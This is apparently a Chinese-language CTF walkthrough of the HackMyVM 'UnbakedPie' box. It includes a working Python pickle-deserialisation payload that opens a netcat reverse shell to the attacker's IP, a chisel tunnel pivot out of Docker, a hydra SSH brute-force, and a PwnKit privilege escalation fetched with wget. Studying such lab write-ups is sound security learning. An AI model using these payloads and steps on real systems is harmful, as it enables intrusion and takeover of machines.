┌──(root㉿kali)-[/home/kali/hmv/UnbakedPie]
└─# nmap -sS 192.168.56.27 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-28 17:53 CST
Nmap scan report for 192.168.56.27
Host is up (0.0010s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE
5003/tcp open filemaker
MAC Address: 08:00:27:10:44:F1 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 959.54 seconds
网站
Server WSGIServer/0.2 CPython/3.8.6
Python写的
上面有一个搜索框
抓包看看数据
gA
开头 一眼 python反序列化
对这个进行解码看一下
import base64
a='gASVCgAAAAAAAACMBjEyMzEyM5Qu'
print(base64.b64decode(a))
输出
b'\x80\x04\x95\n\x00\x00\x00\x00\x00\x00\x00\x8c\x06123123\x94.'
import pickle
p = b'\x80\x04\x95\n\x00\x00\x00\x00\x00\x00\x00\x8c\x06123123\x94.'
d = pickle.loads(p)
print(d)
输出
123123
123123就是我们输入的明文搜索内容
那我们直接构建一个反弹shell的payload
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("nc -e /bin/bash 192.168.80.5 1111 ",))
print(base64.b64encode(pickle.dumps(P())))
输出:
gASVPQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCJuYyAtZSAvYmluL2Jhc2ggMTkyLjE2OC44MC41IDExMTEglIWUUpQu
这里一定要用Linux生成payload,因为其使用了 os.system
这个函数在linux与windows有所不同。所以要与靶机的系统相同。使用Linux生成payload
┌──(root㉿kali)-[/home/kali/hmv/UnbakedPie]
└─# python payload.py
b'gASVPQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCJuYyAtZSAvYmluL2Jhc2ggMTkyLjE2OC44MC41IDExMTEglIWUUpQu'
然后在这个位置随便搜索一下。抓个包替换掉 search_cookie
开启监听 发包 反弹shell
进来后会发现自己是root权限
但其实是在docker里面
可以在根目录看到有一个 .dockerenv
文件。这就是在容器里面的特征之一
上传 cdk 进行检测
先看一下内核版本
(remote) root@8b39a559b296:/tmp# uname -a
Linux 8b39a559b296 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020 x86_64 GNU/Linux
试了好几个发现都不能成功,还是在看看其他利用点吧
看一下历史记录
history
这里面可以看到容器进行了一个内网的ssh连接 用户名是 ramsey
IP是 172.17.0.1
这个ip可能就是主机IP
我们尝试进行ssh连接一下
(remote) root@8b39a559b296:/tmp# ssh ramsey@172.17.0.1
bash: ssh: command not found
发现容器并没有安装ssh。 可能是已经杯卸载了
但是主机是不是开放了 ssh服务这对我们十分重要
在开始进行端口扫描时 就可以发现主机只对外开放了5003端口 并没有22端口
我们看看主机对内开放什么端口
(remote) root@8b39a559b296:/tmp# nc -znv 172.17.0.1 1-65535
(UNKNOWN) [172.17.0.1] 5003 (?) open
(UNKNOWN) [172.17.0.1] 22 (ssh) open
可以看到对内是开放了ssh服务的
此时我们知道了主机 ssh的用户名与ip
那么我们这时候只需要搭建一个容器与kali的隧道,使得主机可以访问容器内网,然后在kali上进行ssh爆破即可
使用kali给容器传一个chisel
kali开启反向监听
┌──(root㉿kali)-[/home]
└─# ./chisel server -p 9999 --reverse
2024/12/01 14:07:07 server: Reverse tunnelling enabled
2024/12/01 14:07:07 server: Fingerprint sP2BcLu3iBtJ8s51afwrmDlqpOsmsqVe64WNopPvgQM=
2024/12/01 14:07:07 server: Listening on http://0.0.0.0:9999
容器连接并配置反向端口转发
(remote) root@8b39a559b296:/tmp# ./chisel client 192.168.80.5:9999 R:8888:172.17.0.1:22
2024/12/01 06:09:54 client: Connecting to ws://192.168.80.5:9999
2024/12/01 06:09:54 client: Connected (Latency 799.51µs)
这时候访问就可以通过kali本地的 127.0.0.1:8888
访问到容器的 172.17.0.1:22
┌──(root㉿kali)-[/home/kali/hmv/UnbakedPie]
└─# hydra -l ramsey -P /usr/share/wordlists/rockyou.txt ssh://127.0.0.1:8888
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-01 14:12:48
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://127.0.0.1:8888/
[8888][ssh] host: 127.0.0.1 login: ramsey password: 12345678
成功获取到密码 12345678
ssh连接获取flag
┌──(root㉿kali)-[/home/kali/hmv/UnbakedPie]
└─# ssh ramsey@127.0.0.1 -p 8888
The authenticity of host '[127.0.0.1]:8888 ([127.0.0.1]:8888)' can't be established.
ED25519 key fingerprint is SHA256:B6SoW4WBwsc2n9NynSce9+R0E44T4YkZVRxD5y5Muhc.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[127.0.0.1]:8888' (ED25519) to the list of known hosts.
ramsey@127.0.0.1's password:
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-186-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
39 packages can be updated.
26 updates are security updates.
Last login: Sat Oct 3 22:15:57 2020 from 172.17.0.2
ramsey@unbaked:~$ cat user.txt
Unb4ked_W00tw00t
使用 LZS 进行提权检测
发现可以用Pwnkit提权
直接提权
bash lzs.sh //提权检测
wget http://192.168.80.5/main.tar.gz
tar -zxvf main.tar.gz
cd CVE-2021-4034-main/
make
./cve-2021-4034
pwncat下载的
mian
默认是zip压缩的。但是靶机上是没有unzip
的所以要先在外面解压然后用tar
打包 再传给靶机
root@unbaked:/tmp# id
uid=0(root) gid=0(root) groups=0(root),1001(ramsey)
root@unbaked:/tmp# cat /root/root.txt
CONGRATS ON PWNING THIS BOX!
Created by ch4rm & H0j3n
ps: dont be mad us, we hope you learn something new
flag: Unb4ked_GOtcha!